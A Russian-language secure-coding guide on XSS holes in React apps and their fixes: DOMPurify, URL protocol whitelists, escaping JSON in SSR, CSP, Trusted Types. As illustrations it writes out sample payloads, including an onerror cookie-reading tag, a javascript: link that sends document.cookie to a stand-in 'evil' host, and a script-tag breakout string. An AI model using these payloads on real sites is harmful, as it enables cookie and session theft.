Безопасность React-приложения: XSS и dangerouslySetInnerHTML
На этой странице
React по умолчанию защищает от XSS: значения в JSX ({comment.text}) экранируются и вставляются как текст, а не как HTML. Дыры появляются там, где разработчик обходит эту защиту: dangerouslySetInnerHTML с непроверенным HTML, URL из пользовательских данных в href/src (javascript:alert(1)), сериализация данных в HTML при SSR (</script> внутри JSON), динамические атрибуты и спред props из внешних источников, прямая работа с DOM (innerHTML в эффектах, сторонние библиотеки). Защита: санитизация HTML (DOMPurify), белый список протоколов для ссылок, экранирование < при встраивании JSON, Content Security Policy и Trusted Types, а также серверные проверки — фронтенд не является границей безопасности.
Вопрос
Защищает ли React от XSS? Где в React-приложении всё-таки возникают уязвимости и как их закрыть?
Что React делает сам
const comment = '<img src=x onerror="alert(document.cookie)">';
<p>{comment}</p>
// В DOM попадёт текст: <img src=x onerror=...> — скрипт не выполнитсяReact создаёт текстовые узлы и выставляет атрибуты через DOM API, поэтому строка не интерпретируется как разметка.
Дыра 1: dangerouslySetInnerHTML
// ✗ Опасно: HTML из CMS, комментариев, Markdown-рендера без санитизации
<article dangerouslySetInnerHTML={{ __html: post.html }} />// ✓ Санитизация перед вставкой
import DOMPurify from 'dompurify';
function PostBody({ html }) {
const clean = DOMPurify.sanitize(html, {
ALLOWED_TAGS: ['p', 'a', 'strong', 'em', 'ul', 'ol', 'li', 'code', 'pre', 'h2', 'h3', 'img'],
ALLOWED_ATTR: ['href', 'src', 'alt', 'title'],
});
return <article dangerouslySetInnerHTML={{ __html: clean }} />;
}- На сервере (SSR, Server Components) используют
isomorphic-dompurifyили санитизируют при сохранении. - Для Markdown лучше рендерить в React-элементы (
react-markdown) без сырого HTML, чем в строку. - Название API специально «опасное» — на код-ревью каждое использование должно иметь объяснение.
Дыра 2: ссылки из пользовательских данных
// ✗ Пользователь указал в профиле сайт "javascript:fetch('//evil?c='+document.cookie)"
<a href={user.website}>Сайт автора</a>// ✓ Белый список протоколов
function safeUrl(value) {
try {
const url = new URL(value, window.location.origin);
return ['http:', 'https:', 'mailto:'].includes(url.protocol) ? url.href : undefined;
} catch {
return undefined;
}
}
<a href={safeUrl(user.website)} rel="noopener noreferrer nofollow" target="_blank">Сайт автора</a>React 19 блокирует javascript: в href и предупреждает в dev, но полагаться только на это не стоит: опасны и data:-URL, и подмена домена (фишинг). Проверяй URL и на сервере при сохранении.
Дыра 3: данные в HTML при SSR
// ✗ Если в state есть строка "</script><script>alert(1)</script>", тег закроется
<script dangerouslySetInnerHTML={{ __html: `window.__STATE__ = ${JSON.stringify(state)}` }} />
// ✓ Экранировать "<"
const json = JSON.stringify(state).replace(/</g, '\\u003c');
<script dangerouslySetInnerHTML={{ __html: `window.__STATE__ = ${json}` }} />То же для JSON-LD. Фреймворки (Next.js, React Router) сериализуют свои данные безопасно — опасен именно ручной код.
Дыра 4: спред внешних props и динамические атрибуты
// ✗ Объект из API целиком в props: можно протащить href, style, dangerouslySetInnerHTML
<Link {...cmsBlock.props} />
// ✓ Явно выбирать разрешённые поля
<Link href={safeUrl(cmsBlock.url)} title={cmsBlock.title}>{cmsBlock.text}</Link>Не строй имена компонентов, тегов и атрибутов из пользовательского ввода.
Дыра 5: обход React
useEffect(() => {
ref.current.innerHTML = widgetHtml; // React-защиты здесь нет
}, [widgetHtml]);Сюда же — сторонние виджеты, eval, new Function, вставка скриптов по URL из данных.
Слои защиты
| Слой | Что даёт |
|---|---|
| Экранирование React | Базовая защита текста |
| DOMPurify | Безопасный HTML из внешних источников |
| Проверка URL | Нет javascript:/data: в ссылках |
CSP (Content-Security-Policy) с nonce | Даже при инъекции чужой скрипт не выполнится |
| Trusted Types | Браузер запрещает строки в innerHTML и другие «стоки»; React 19.3 поддерживает передачу TrustedHTML |
| HttpOnly-cookies | Скрипт не украдёт сессию |
| Серверная валидация | Фронтенд можно обойти, сервер — нет |
Секреты на клиенте
Всё, что попало в клиентский бандл, публично: переменные VITE_*/NEXT_PUBLIC_*, props клиентских компонентов, ответы API. Ключи платёжных систем, токены БД и приватные API-ключи — только на сервере. В Next.js модули с секретами помечают import 'server-only'.
Что важно помнить
{value}безопасен,dangerouslySetInnerHTML— нет без санитизации.- URL из данных проверяют по протоколу.
- JSON в
<script>— с экранированием<. - CSP и HttpOnly-cookies снижают ущерб, если что-то пропустили.
- Авторизация и проверки — на сервере.
Мини-шпаргалка
JSX экранирует текст ✔
dangerouslySetInnerHTML → DOMPurify
href из данных → только http/https/mailto
JSON в <script> → .replace(/</g, '\\u003c')
Не спредить внешние объекты в props
CSP + Trusted Types + HttpOnly cookies
Секреты не в клиентском бандле